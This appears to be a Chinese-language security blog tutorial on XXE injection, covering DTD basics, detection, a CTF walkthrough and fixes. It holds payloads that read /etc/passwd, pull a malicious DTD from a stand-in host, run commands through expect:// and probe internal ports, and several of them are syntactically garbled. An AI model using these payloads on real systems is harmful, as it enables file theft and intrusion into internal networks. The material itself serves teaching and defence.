XXE漏洞

0x00 XML基础

可扩展标记语言(英語:Extensible Markup Language,简称:XML)是一种标记语言。 标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。如图所示:

xxe漏洞与DTD文档相关。

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
内部声明DTD:

1
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中重要的关键字如下:

1
2
3
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
实体根据引用方式,还可分为内部实体与外部实体。

实体类别

内部实体:

1
<!ENTITY 实体名称 "实体的值">

外部实体:

1
<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

1
<!ENTITY % 实体名称 "实体的值">

或者

1
<!ENTITY % 实体名称 SYSTEM "URI">

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
实例演示:除参数实体外实体+内部实体

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "sz">]>
<foo>
<value>&name;</value>
</foo>

实例演示:参数实体+外部实体

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
实例:外部实体

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
<value>&content;</value>
</foo>

xxe漏洞主要是利用了DTD引用外部实体导致的漏洞

0x01 XXE漏洞介绍

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,允许引用外部实体,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE漏洞检测

先检测是否解析XML

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE hello [
<!ENTITY name "Hello,hacker!">]>
<root>&name;</root>

如果页面输出了Hello,hacker!,说明xml文件可以被解析。
然后检测服务器是否支持DTD引用外部实体:

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE test [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

0x02 XML外部实体注入(漏洞利用)

恶意引入外部实体1(读取文件)

1
2
3
4
5
<? xml version="1.0"?>
<! DOCTYPE a[
<! ENTITY b SYSTEM "file:///etc/passwd">
]>
<c〉&b;</c>

恶意引入外部实体2(读取文件)

XML内容:

1
2
3
4
5
<? xml version="1.0"?>
<! DOCTYPE a[
<! ENTITY % d SYSTEM "http://xxx. com/evil. dtd">
%d;
<c>&b;</c>

DTD文件(evil.dtd)内容:

1
<!ENTITY b SYSTEM "file:///etc/passwd">

恶意引入外部实体3(读取文件)

XML内容:

1
2
<? xml version="1.0"?>
<! DOCTYPE a SYSTEM"http://xxx. com/evil. dtd">

DTD文件(evil.dtd)内容:

1
<!ENTITY b SYSTEM "file:///etc/passwd">

执行系统命令

1
2
3
4
5
6
7
<? xmL version="1.0"?>
<! DOCTYPE ANY[
<! ENTITY xxe SYSTEM"expect://id">
<x>& xxe;</x>
EOF;
$data=simplexml_load_string($xml);
print_r($data);

探测内网端口

1
2
3
4
5
<? xml version="1.0"?>
<! DOCTYPE ANY[
<! ENTITY XXe SYSTEM"http://192.168.1.1:81/mark4z5">
<x>& xxe;</x>
EOF; Sdata=simplexml_1oad_string($xml); print_r($data);

该例子是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

0x03 实例

http://web.jarvisoj.com:9882/

源码:

抓包发现客户端以json形式发送了数据,服务端返回了客户端的内容

利用XXE外部实体

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ENTITY file SYSTEM "file://home/ctf/flag.txt">
]>

<xxe>&file;</xxe>

0x04 XXE漏洞修复与防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

参考资料:https://security.tencent.com/index.php/blog/msg/69
https://thief.one/2017/06/20/1/

-------------本文结束感谢您的阅读-------------
/*
*/